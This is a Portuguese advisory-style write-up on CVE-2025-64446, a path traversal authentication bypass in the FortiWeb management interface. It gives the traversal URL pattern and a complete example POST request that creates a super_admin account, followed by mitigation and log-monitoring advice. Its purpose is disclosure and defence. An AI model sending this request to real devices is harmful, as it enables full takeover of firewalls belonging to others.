---

📌 Visão Geral

CVE-2025-64446 é uma grave vulnerabilidade de relative path traversal na interface de gerenciamento do FortiWeb Web Application Firewall.

Um atacante remoto não autenticado pode explorar esta falha para bypassar a autenticação e criar novos usuários administradores com privilégios totais, levando ao comprometimento completo do dispositivo.

• Pontuação CVSS v3.1: 9.8 (Crítico)
• Tipo de Ataque: Remoto não autenticado
• Impacto: Assunção administrativa total
• Status: Explorado ativamente na natureza

---

🛠️ Versões Afetadas

Recomendação: Atualize para a versão corrigida mais recente o mais rápido possível.

---

🔥 Como os Atacantes Exploram Esta Vulnerabilidade

Exploração Passo a Passo

1. Identificação do Alvo
   O atacante procura por interfaces de gerenciamento do FortiWeb expostas publicamente (geralmente na porta HTTPS 443 ou 8443).

2. Construção da Requisição Maliciosa
   O núcleo do exploit é um relative path traversal (../) combinado com uma URL especialmente criada que alcança um endpoint CGI interno não autenticado.

   Vulnerable Endpoint Pattern:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. Envio do Exploit

   O atacante envia uma única requisição POST com payload JSON para criar uma nova conta de administrador.

   Example Exploit Request:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. Exploração Bem-sucedida

   Se bem-sucedido, o FortiWeb cria a nova conta de administrador sem exigir qualquer autenticação prévia. O atacante pode então fazer login com as credenciais recém-criadas e obter controle total do WAF.

Por que Funciona

A API de gerenciamento falha em sanitizar adequadamente o caminho, permitindo que a requisição percorra de volta ao binário legado fwbcgi, que não impõe autenticação em certas operações.

---

📸 Screenshots

---

🛡️ Mitigação e Melhores Práticas

• Atualize imediatamente o FortiWeb para uma versão corrigida
• Nunca exponha a interface de gerenciamento diretamente à internet
• Use forte segmentação de rede e VPN para acesso administrativo
• Monitore logs em busca de requisições contendo fwbcgi, ../, ou tentativas incomuns de criação de admin
• Audite regularmente as contas de administrador em busca de entradas suspeitas

---